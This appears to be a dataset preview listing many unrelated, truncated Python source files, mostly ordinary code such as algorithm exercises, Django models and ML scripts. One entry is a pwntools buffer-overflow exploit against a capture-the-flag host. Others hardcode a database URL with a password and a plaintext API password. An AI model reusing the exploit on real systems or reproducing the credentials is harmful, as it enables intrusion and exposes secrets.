text
stringlengths
8
6.05M
__author__ = 'scorpius'
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, with_statement from cuisine import file_attribs as attributes from cuisine import file_attribs_get as attributes_get from cuisine import file_ensure as ensure from cuisine import file_is_file as exists from cuisine import file_is_link as is_lin...
# Author: George K. Holt # License: MIT # Version: 0.1 """ Part of EPOCH Generate Particles Files. This file should contain a 2-dimensional particle number density distribution as a Python function called number_density_2d. """ import numpy as np def gaussian(x, x0, w): '''A simple Gaussian function centred on x...
#!/usr/bin/env python3 # -*- encoding: utf-8 -*- from pwn import * #context.log_level = 'debug' # Byte sequence alias A8 = 8 * b'A' def main(): payload = 3 * A8 payload += p64(0x4011a1) #proc = process('./CafeOverflow') proc = remote('hw00.zoolab.org', 65534) proc.recvuntil(':') proc.send(p...
"""Internal library.""" import concurrent.futures import datetime import email import fileinput import getpass import imaplib import zipfile import gzip import sys import tldextract from defusedxml.ElementTree import fromstring from dns import resolver, reversename import magic import six from django.db import trans...
# 문제 설명 # n개의 음이 아닌 정수가 있습니다. 이 수를 적절히 더하거나 빼서 타겟 넘버를 만들려고 합니다. 예를 들어 [1, 1, 1, 1, 1]로 숫자 3을 만들려면 다음 다섯 방법을 쓸 수 있습니다. # -1+1+1+1+1 = 3 # +1-1+1+1+1 = 3 # +1+1-1+1+1 = 3 # +1+1+1-1+1 = 3 # +1+1+1+1-1 = 3 # 사용할 수 있는 숫자가 담긴 배열 numbers, 타겟 넘버 target이 매개변수로 주어질 때 숫자를 적절히 더하고 빼서 타겟 넘버를 만드는 방법의 수를 return 하도록 solution 함수를 작성해...
""" 698. Partition to K Equal Sum Subsets Given an integer array nums and an integer k, return true if it is possible to divide this array into k non-empty subsets whose sums are all equal. Example 1: Input: nums = [4,3,2,3,5,2,1], k = 4 Output: true Explanation: It's possible to divide it into 4 subsets (5), (1, 4)...
from _typeshed import Incomplete def write_dot(G, path) -> None: ... def read_dot(path): ... def from_pydot(P): ... def to_pydot(N): ... def graphviz_layout(G, prog: str = "neato", root: Incomplete | None = None): ... def pydot_layout(G, prog: str = "neato", root: Incomplete | None = None): ...
# # @lc app=leetcode.cn id=797 lang=python3 # # [797] 所有可能的路径 # # @lc code=start class Solution: def allPathsSourceTarget(self, graph: List[List[int]]) -> List[List[int]]: """ 多叉树遍历框架 """ # 30/30 cases passed (52 ms) # Your runtime beats 20.08 % of python3 submissions ...
from database.connection.mysql_connection import get_session class GenericDao(): def insert_record(self,record): session = get_session() session.add(record) session.commit() session.flush() print('inserted record :: {}'.format(record)) def get_all_records(self, Type): ...
from rest_framework import generics from .models import Signal, SignalResult from . import permissions, serializers class Signals(generics.ListAPIView): queryset = Signal.objects.all() serializer_class = serializers.SignalSerializer permission_classes = [] class SignalResults(generics.ListAPIView): ...
#!/usr/bin/env python from __future__ import print_function import numpy as np import math #Module containing functions used for Kmeans clustering def closest_centroid(x,centroids): """Function for finding the closest closest centroid Input : x := numpy array of data centroids := list of centroids Output: out...
from org.csstudio.opibuilder.scriptUtil import PVUtil from org.csstudio.opibuilder.scriptUtil import ConsoleUtil from java.lang import Thread, Runnable sp1_high_set_2 = display.getWidget("Text_Update_gauge2_sp1_high_set") sp1_low_set_2 = display.getWidget("Text_Update_gauge2_sp1_low_set") sp2_high_set_2 = display.get...
import csv, pdb, copy from random import randrange, randint import time import random from datetime import timedelta, datetime from dateutil.relativedelta import relativedelta def random_date(start, end): delta = end - start int_delta = (delta.days * 24 * 60 * 60) + delta.seconds random_second = randrange...
# coding: utf-8 import socket import lglass.rpsl import lglass.database.base @lglass.database.base.register class WhoisClientDatabase(lglass.database.base.Database): """ Simple blocking whois client database """ def __init__(self, hostspec): self.hostspec = hostspec def get(self, type, primary_key): try: ...
#from mail.models import* from workstatus.mail.models import Message, User def addMessage(user, email1, content, time1): """adds message to db""" tempMessage = Message(user = user, emailaddress = email1, content = content, time1 = time1) tempMessage.save() def addUser(name, address, first): user = Use...
from django.db import models from django.contrib.auth.forms import User class ProductList(models.Model): """ Stores the list of products added by the couples """ name = models.CharField(max_length=200) brand = models.CharField(max_length=200, blank=True) price = models.FloatField() in_sto...
if __name__ == '__main__': students = list() # for _ in range(int(input())): # name = input() # score = float(input()) # students.append([name, score]) students.append(['Prashant', 32]) students.append(['Pallavi', 36]) students.append(['Dheeraj', 39]) students....
# imports import pandas as pd import json from sklearn.cluster import k_means from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeRegressor from sklearn.ensemble import RandomForestRegressor import matplotlib.pyplot as plt import numpy as np import re import matplotlib.pyplot as pl...
from conans import ConanFile, CMake import os class DefaultNameConan(ConanFile): settings = "os", "compiler", "arch", "build_type" generators = "cmake" def build(self): cmake = CMake(self) cmake.configure(source_dir=self.conanfile_directory, build_dir="./") cmake.build() def i...
# coding: utf-8 # In[ ]: ''' THIS FUNCTION TAKES IN AN INTEGER INPUT IF ITS DIVISIBLE BY BOTH 3 AND 5 RETURNS FIZZBUZZ IF ITS DIVISIBLE ONLY BY 3 RETURNS FIZZ IF ITS DIVISIBLE ONLY BY 5 RETURNS BUZZ IF ITS NOT DIVISIBLE BY EITHIER IT RETURNS 'NOT DIVISIBLE BY EITHIER 3 AND 5' ''' def FizzBuzz(): try: ...
from model import loss import torch import advertorch import ctypes import copy from torch import equal from torch import optim from torch.autograd import Variable import torch.nn as nn from torchvision import datasets, transforms import matplotlib.pyplot as plt from data_loader.data_loader import BaseDataLoader, VGGF...
#현재 폴더에 movie.txt라는 파일로 올해 본 영화 두 개를 저장 #그 후 작년에 본 영화 두 개를 a를 사용해서 덮어씌워주세요 #잘 저장되었는가 r로 읽어줍시다. f = open("movie.txt", "w") for i in range(2): movie = input("올해영화 : ") f.write(movie + "\n") f.close() f = open("movie.txt", "a") for i in range(2): movie = input("작년영화 : ") f.write(movie + "\n"...
# Generated by Django 3.0.4 on 2020-03-13 15:45 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0007_auto_20200313_1533'), ] operations = [ migrations.RemoveField( model_name='wplyw', name='inflow', ...
#!/usr/bin/env python import sys import os import operator import gffutils import collections import re from Bio import SeqIO from Bio.Seq import Seq from Bio.SeqRecord import SeqRecord STOPCODONPAT = re.compile('.*[*#+].*') fails = collections.defaultdict(lambda: collections.defaultdict(int)) def get_protein(fdb, ...
#!/usr/bin/env python from setuptools import setup, find_packages setup( name='acme', version='0.0.1', description='Exaxmple project showing how to include a Python package dependency while rendering notebooks with notebook-rendering', author='Triage Technologies Inc.', author_email='ai@triage.co...
''' Created on Mar 3, 2015 @author: fan ''' import unittest from lang._math import pi2List class SetTests(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_set(self): print("type({}) = %s" % type({}), "type({1, 2, 3}) = %s" % type({1, 2, 3})) ...
import re from operator import itemgetter, attrgetter, methodcaller class Entry: def __init__(self, id,weight, length): self.id=id self.weight=weight self.length=length self.diff=weight-length self.ratio=float(weight)/length f=open('jobs.txt','r') number=int(f.readline()) #...
import random import time from TagScriptEngine import Verb, Interpreter, block, adapter blocks = [ block.MathBlock(), block.RandomBlock(), block.RangeBlock(), block.StrfBlock(), block.AssignmentBlock(), block.FiftyFiftyBlock(), block.LooseVariableGetterBlock() ] x = Interpreter(blocks) # d...
#BMI Calculator #HW6q1 #I pledge my honor that I have abided by the Stevens Honor System def main(): weight = float(input("Enter your weight in pounds: ")) height = float(input("Enter your height in inches: ")) BMI = round((weight*720)/height**2, 3) if BMI <= 0: print("Error in calculating BMI....
# Python Standard Libraries # N/A # Third-Party Libraries from rest_framework import serializers # Custom Libraries from api.models import User from . import digger_model class SignUpSerializer(serializers.ModelSerializer): # Ensure passwords are at least 8 characters long, no longer than 128 # characters, an...
# color = input('Enter "green", "yellow", "red": ').lower() # print(f'The user entered {color}') # if color == 'green': # print('Go!') # elif color == 'yellow': # print('Slow down!') # elif color == 'red': # print('Stop!') # else: # print('Bogus!') hours = int(input('Enter hours worked:')) rate = 10...
import nltk f=open('cricket.txt','r',encoding='utf8') raw=f.read() #nltk.download('punkt') tokens = nltk.word_tokenize(raw) text = nltk.Text(tokens) print(text) for i in range(len(tokens)): tokens[i]= tokens[i].lower() #removing digits tokens= [x for x in tokens if not x.isdigit()] #converting list i...
import scipy from numpy import * import scipy.integrate # defining the fuction def F(x): return x*(scipy.exp(-x)) # Finding the integral I, errt = scipy.integrate.quad(F,0,inf) print 'The integrated result = ',int(round(I,0))
if True: print("eita danada, olha que indentou e funcionou!") """ if True: print("esse codigo nao vai funcionar por falta de indentacao, por isso esta comentado!") """
import numpy as np import pandas as pd class TrainingDataLabelPreprocessor: def __init__(self, training_data): # eg. training_data = pd.read_csv('train/train.csv') self.training_data = training_data # Create a dictionary assigning labels to each # of the 28 cell functions/locatio...
import datetime import csv import itertools import numpy as np import matplotlib.pyplot as plt import scipy as sp import scipy.signal as signal now = datetime.datetime.now() def graficar_temp(): tiempo=[] temperatura=[] with open('data.csv') as csv_file: csv_reader = csv.reader(csv_file, delimite...
#Dict-based spectral encoding of given traits based on dictionary word-matching! #Dominic Burkart #use: take in all given .txt wordlists in the directory this file is saved in for a given # trait (eg emotionality) and encode a given set of tweets with the wordcount from the # given dictionary and the ratio of word...
#!/usr/bin/env python # # Copyright (c) 2019 Opticks Team. All Rights Reserved. # # This file is part of Opticks # (see https://bitbucket.org/simoncblyth/opticks). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a...
#coding:utf-8 #!/usr/bin/env python import sys serverid = 1
import xadmin from .models import ProductMsg from .models import Supplier from .models import TicketsMsg from .models import HotelMsg from .models import StrategyMsg from .models import Product_City from .models import Product_Senic # Register your models here. # xadmin中这里是继承object,不再是继承admin class ProductMsgAdmin(ob...
#!/usr/bin/python import numpy as np import os numpul=20 #Number of PPTA pulsars. for pulsi in xrange(numpul): gfilename='G_SNR_z_vs_mc_PPTA_model_i/pulsar_%s.gstar' %(pulsi+1) #Content of the gstar file: filetext=['#!/bin/csh \n\ #PBS -q gstar \n\ #PBS -l nodes=1:ppn=6 \n\ #PBS -l pmem=500mb \n\ #PBS -l walltime...
"""Unit test for treadmill.runtime.linux.runtime. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import io import os import shutil import tempfile import unittest # Disable W0611: Unused import import tests.trea...
import sys, os import argparse import time import datetime from classes import Havelock from classes import Bitcoin from classes import Rates from config import Config from utils import get_console_size import numpy as np import matplotlib.pyplot as plot import matplotlib.dates as md cmdline_parse = cp = \ argp...
class Config: # DB_URL = "sqlite:///db_test.db" DB_URL = "postgresql://vwlxwdavxfjvuf:1c32bebadc0a765b3467ea904fc4a8e9f7ee3453c26ed215503d9a5e4f20993d@ec2-52-2-82-109.compute-1.amazonaws.com/d7pjfkh1cgosoi"
import streamreader import state from orderedcollections import * class Scanner: def __init__( self, instream=None, startStateId=None, states={}, classes={}, keywords={}, identifierTokenId=-1, eatComments=False, commentTokenId=-1, ): ...
# Generated by Django 3.0.5 on 2020-06-03 18:36 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('pessoas', '0001_initial'...
import httplib import mimetypes from bottle import abort, get, local, request, response from codalab.lib import spec_util, zip_util from codalab.objects.permission import check_bundles_have_read_permission @get('/bundle/<uuid:re:%s>/contents/blob/' % spec_util.UUID_STR) @get('/bundle/<uuid:re:%s>/contents/blob/<pat...
from base import add, createSkeleton # Additional functions def addToArmy(data, army, id): if (len(data) == 3): (name, health, damage) = tuple(data) add(createSkeleton(name, id, int(health), int(damage)), army) elif (len(data) == 1): add(createSkeleton(data[0], id), army) print('Unit added') de...
import requests import logging SESSION = requests.Session() APP_URL = 'https://qa-interview-api.migo.money' USER = 'egg' PASSWORD = 'f00BarbAz' LOG = logging.getLogger()
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Oct 18 16:47:25 2017 @author: dgratz """ import numpy as np import itertools import math import matplotlib.pyplot as plt from scipy import signal import matplotlib from collections import deque def calcSync(vVal,vTime): syncT = np.zeros(vTime.shape...
import unittest from katas.kyu_6.find_the_divisors import divisors class FindTheDivisorsTestCase(unittest.TestCase): def test_equals(self): self.assertEqual(divisors(12), [2, 3, 4, 6]) def test_equals_2(self): self.assertEqual(divisors(25), [5]) def test_equals_3(self): self.ass...
from os.path import join, expanduser, dirname """ Global config options """ DATA_DIR = "/data3/private/liujiahua/new/data" TRANS_DATA_DIR = "/data1/private/liujiahua" NEW_EN = join(DATA_DIR, "en") NEW_EN_TRANS_DE = join(TRANS_DATA_DIR, "_wiki_data_en/translate_de") NEW_EN_TRANS_ZH = join(TRANS_DATA_DIR, "_wiki_data...
import wsdm.ts.helpers.persons.persons as p_lib from wsdm.ts.helpers.tfidf.professions_tfidf_dictionary import PROFESSIONS_DICT from wsdm.ts.helpers.tfidf.nationalities_tfidf_dictionary import NATIONALITIES_DICT import os import definitions from collections import Counter import operator import re def split_into_sent...
#!/usr/bin/env python3 #test_completion.py #* #* -------------------------------------------------------------------------- #* Licensed under MIT (https://git.biohpc.swmed.edu/gudmap_rbk/rna-seq/-/blob/14a1c222e53f59391d96a2a2e1fd4995474c0d15/LICENSE) #* -----------------------------------------------------------------...
# -*- coding: utf-8 -*- from django.contrib.auth.decorators import login_required from django.http import HttpResponseRedirect from ragendja.template import render_to_response def staff_only(view): """ Decorator that requires user.is_staff. Otherwise renders no_access.html. """ @login_required def ...
#!/usr/bin/env python from __future__ import print_function import fastjet as fj import fjcontrib import fjext import ROOT import tqdm import yaml import copy import argparse import os from pyjetty.mputils import * from heppy.pythiautils import configuration as pyconf import pythia8 import pythiafjext import pyth...
''' You are a professional robber planning to rob houses along a street. Each house has a certain amount of money stashed. All houses at this place are arranged in a circle. That means the first house is the neighbor of the last one. Meanwhile, adjacent houses have security system connected and it will automatically co...
''' l利用time函数,生成两个函数 顺序调用 计算总的运行时间 ''' import time import _thread as thread def loop1(): # ctime 得到当前时间 print('S loop 1 at: ',time.ctime()) # 睡眠多长时间,单位秒 time.sleep(4) print('E loop 1 at :',time.ctime()) def loop2(): # ctime 得到当前时间 print('S loop 2 at: ', time.ctime()) # 睡眠多长时间,单位秒 ...
#!/usr/bin/env python3 # coding: utf-8 import os.path import sys sys.path.insert(0, os.path.abspath(os.path.join(__file__, "..", ".."))) import lglass.tools.roagen if __name__ == "__main__": lglass.tools.roagen.main()
# -*- coding: utf-8 -*- """ Created on Sat Aug 1 18:06:19 2020 @author: Attitude """ # Audio To Text (Speech Recognition) # Import Library import os import speech_recognition as sr sr.__version__ # Speech Recognition starts here r = sr.Recognizer() current_dir = os.path.dirname(os.path.realpath(_...
# -*- coding: utf-8 -*- ############################################################################# # Copyright Vlad Popovici <popovici@bioxlab.org> # # Licensed under the Apache License, Version 2.0 ( the "License" ); # you may not use this file except in compliance with the License. # You may obtain a copy of ...
from NIDAQ_1 import * from NIDAQ_2 import * from NIDAQ_3 import * from NIDAQ_4 import * from Coefficient import * def Chan_1(points=CHUNK): SetupTask1() StartTask1() data = ReadSamples1(points) StopAndClearTask1() return data def Chan_2(points=CHUNK): SetupTask2() StartTask2()...
import distutils.command.clean import distutils.spawn import glob import os import shutil import subprocess import sys import torch from pkg_resources import DistributionNotFound, get_distribution, parse_version from setuptools import find_packages, setup from torch.utils.cpp_extension import BuildExtension, CppExtens...
import dash_bootstrap_components as dbc from dash import html toast = dbc.Toast( [html.P("This is the content of the toast", className="mb-0")], header="This is the header", )
import torch.nn as nn import torchvision.models as models class EmbeddingNet(nn.Module): def __init__(self, backbone=None): super().__init__() if backbone is None: backbone = models.resnet50(num_classes=128) self.backbone = backbone def forward(self, x): x = self....
from datetime import timedelta import time import uuid from Crypto.PublicKey.RSA import importKey from django.utils import timezone from jwkest.jwk import RSAKey as jwk_RSAKey from jwkest.jwk import SYMKey from jwkest.jws import JWS from oidc_provider.lib.utils.common import get_issuer from oidc_provider.models impor...
import io from setuptools import find_packages from setuptools import setup with io.open("README.rst", "rt", encoding="utf8") as f: readme = f.read() setup( name="Pallets-Sphinx-Themes", version="1.1.3", url="https://github.com/pallets/pallets-sphinx-themes/", license="BSD-3-Clause", author="...
#!/usr/bin/env python # coding: utf-8 # In[11]: import docplex.mp.model as cpx import networkx as nx import pandas as pd import matplotlib.pyplot as plt from math import sqrt import networkx as nx # In[12]: t_n = 5 cij = [[0,55,105,80,60],[60,0,75,60,75],[110,90,0,195,135],[80,60,175,0,85],[60,75,120,80,0]] cij # In[1...
def string_clean(s): return ''.join(a for a in s if not a.isdigit())
# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import annotations from pants.jvm.resolve.jvm_tool import JvmToolBase class ScroogeSubsystem(JvmToolBase): options_scope = "scrooge" help = "The Scrooge Thrift ID...
import numpy as np from collections import Counter from typing import Iterable, Union def find_most_common(row: Iterable[str], mode: Union["elem", "count"]): """ Given iterable of words, return either most common element or its count """ if mode == "elem": return Counter(row).most_common(1)[0...
import csv, re import numpy as np from keras import Sequential from keras.layers import Dense # Age patterns p1 = re.compile(r"0\.") # Ticket patterns p3 = re.compile(r"(\d*?)$") def getAge(arg): fract = p1.match(arg) if arg == "": return 32 elif arg[:2] == "0.": return int(arg[fract.span(...
def isDigit(strng): """ is_digit == PEP8 (forced mixedCase by Codewars) """ try: float(strng) return True except ValueError: return False
import os from smqtk.utils.plugin import get_plugins from ._interface_hash_index import HashIndex __all__ = [ 'HashIndex', 'get_hash_index_impls', ] def get_hash_index_impls(reload_modules=False): """ Discover and return discovered ``HashIndex`` classes. Keys in the returned map are the names of th...
import numpy as np import tensorflow as tf import os import cv2 from tqdm.notebook import tqdm tf2 = tf.compat.v2 # constants KMNIST_IMG_SIZE = 28 KMNIST_TRAIN_IMAGE_COUNT = 60000 KMNIST_TEST_IMAGE_COUNT = 10000 PARALLEL_INPUT_CALLS = 16 def pre_process_train(ds): X = np.empty((KMNIST_TRAIN_IMAGE_COUNT, KMNIST_IM...
import cv2 import numpy as np cap = cv2.VideoCapture(0) while True: _, frame = cap.read() hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) # hsv is Hue Sat Value lower_range = np.array([0, 175,175]) # BGR uppper_range = np.array([255, 255, 255]) mask = cv2.inRange(hsv, lower_range, uppper...
import sys import os f = open("C://Users/OZ/Documents/python/atcoder/import.txt","r") sys.stdin = f # -*- coding: utf-8 -*- import statistics n = int(input()) a = list(map(int,input().split())) b = [] for i in range(n): b.append(a[i]-i) bf = int(statistics.median(b)) ans = 0 for i in ra...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Sep 2 12:54:26 2019 @author: juan """ import torch import torch.nn as nn import torch.optim as optim from torch.optim import lr_scheduler import numpy as np import torchvision from torchvision import datasets, models, transforms import matplotlib.pypl...
import statsmodels.api as sm import numpy as np # Parameters. ar = np.array([.75, -.25]) ma = np.array([.65, .35]) ar = np.array([]) ma = np.array([]) # Simulate an ARMA process. np.random.seed(42) y = sm.tsa.arma_generate_sample( ar=np.r_[1, ar], ma=np.r_[1, ma], nsample=10000, sigma=1, ) fig, ax...
""" 样式美化: """ import matplotlib.pyplot as plt import numpy as np # 样式美化: plt.style.use('ggplot') # plt.style.use('fivethirtyeight') # 第一个图像: fig, ax = plt.subplots(ncols=2, nrows=2) # 生成4个子图 ax1, ax2, ax3, ax4 = ax.ravel() # 将4个子图分给这四个对象 x, y = np.random.normal(size=(2, 100)) ax1.plot(x, y, 'o') # 第二个图像: x = np.aran...
# -*- coding: utf-8 -*- from django.utils.translation import ugettext as _ from rest_framework import serializers, viewsets, exceptions from app.courses.models import Course from app.choosing.models import ResolvedCombination class TeacherViewObject(object): def __init__(self, id, name): self.id = id ...
import random PATTERNS = [ (10000000000000000, 'xxxxx'), (-1000000000000000, 'ooooo'), (100000000000, ' xxxx '), (-10000000000, ' oooo '), (-10000000000, 'oxxxx '), (-10000000000, ' xxxxo'), (-100000000, 'xoooo '), (-100000000, ' oooox'), (1000000000, 'xx xx'), ...
import argparse from pathlib import Path def main(filepath): with open(filepath, "r") as file1: positions = {} transactions = {} day = "" section = "" while True: line = file1.readline() if not line: break elif line.strip(...
"""def calculator(num1,operation,num2): if (operation == "+"): print (num1 + num2) elif (operation == "-"): print (num1 - num2) elif (operation == "*"): print (num1 * num2) elif (operation == "/"): print (num1 / num2) else: print("not a valid operation") calc...
# Generated by Django 3.1 on 2020-10-16 06:58 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Announcement', fields=[ ('id', models.AutoFie...
import pandas as pd import numpy as np df1 = pd.read_csv('../../data/Datasets/best_film_consolidated.csv') df2 = pd.read_csv('../../data/Datasets/best_director_consolidated.csv') df3 = pd.read_csv('../../data/Datasets/best_actor_consolidated.csv') df4 = pd.read_csv('../../data/Datasets/best_actress_consolidated.csv') ...
from model.registry import Registry from model.connection.connection import Connection from model.laboralinsertion.inscription import Inscription from model.users.users import User, UserDAO import model.laboralinsertion.user from model.files.files import File import PyPDF2 import base64 import inject import logging ...
import numpy as np import expectation import maximization import aux_functions import matplotlib.pyplot as plt def EM_algorithm(X,pi,A,B,N,max_it,ini): iter = 0 converged = False Q = [] K = np.shape(pi)[0] T = np.shape(X[0][0])[1] epsilon = 1e-2 alpha = np.zeros((N,K,T)) # one alpha fo...
''' Created on Nov 30, 2015 @author: Benjamin Jakubowski (buj201) ''' import pandas as pd def get_raw_data(): url = 'https://data.cityofnewyork.us/api/views/xx67-kt59/rows.csv?accessType=DOWNLOAD' return pd.read_csv(url, usecols=['CAMIS','BORO', 'GRADE', 'GRADE DATE'],parse_dates=['GRADE DATE']) def clean_G...
import numpy as np import SimpleITK as sitk import itk import SimpleITK as sitk import pandas as pd import quandl, math import numpy as np from sklearn import preprocessing, svm from sklearn.model_selection._validation import cross_validate from sklearn.linear_model import LinearRegression from sklearn.metrics impor...
""" @author: Eduardo Alvear """ def punto1(carros): c_amarillo = 0 c_rosa = 0 c_roja = 0 c_verde = 0 c_azul = 0 for auto in carros: if auto == 1 or auto == 2: c_amarillo += 1 elif auto == 3 or auto == 4: c_rosa += 1 elif auto == 5 or auto == 6: ...
# use_module.py from python单例模式.use_module import singleton as s1 from python单例模式.use_module import singleton as s2 print(s1, id(s1)) print(s2, id(s2)) """ 多次导入该实例,其实调用的是一个地址 """
""" Author: Catherine DeJager (cmd16 on GitHub) Written for https://github.com/molliem/gender-bias Detects gender bias in letters of recommendation by searching usage of words that denote effort vs words that denote accomplishment. """ import argparse import nltk # Create an argument parser and tell it about argument...
# TODO: Rewrite variance to not need this extension
import esphome.codegen as cg import esphome.config_validation as cv from esphome.const import CONF_ID AUTO_LOAD = ['sensor','text_sensor', 'binary_sensor'] MULTI_CONF = True CONF_HUB_ID = 'empty_sensor_hub_id' empty_sensor_hub_ns = cg.esphome_ns.namespace('empty_sensor_hub') EmptySensorHub = empty_sensor_hub_ns.cla...
import urllib2, httplib from BeautifulSoup import BeautifulSoup, SoupStrainer import Queue import re import socket import threading import time import functools import cookielib from django.utils.encoding import force_unicode from django.utils import importlib from django.conf import settings def get_backend(**kwarg...
#!/usr/bin/env python #---------------------------------------------------------------------------- # ABOUT THE SCRIPT: # This script can be used to obtain a list of Pfam IDs and corresponding # Ensembl protein IDs from the Human Genes (GRCh38.p13) dataset from BioMart. #------------------------------------------------...
import pyvan OPTIONS = { "main_file_name": "final.py", "show_console": True, "use_existing_requirements": True, "extra_pip_install_args": [], "use_pipreqs": False, "install_only_these_modules": [], "exclude_modules": [], "include_modules": [], "path_to_get_pip_and_python_embedded_zip": "", "build_d...
#!/usr/local/bin/python3.8 # String are immutable i.e. they cannot be changed print(id('key')) # e.g. 139912821647280 print(id('keys')) # e.g. 139912821775856 print ( id('key') == id('keys') ) # False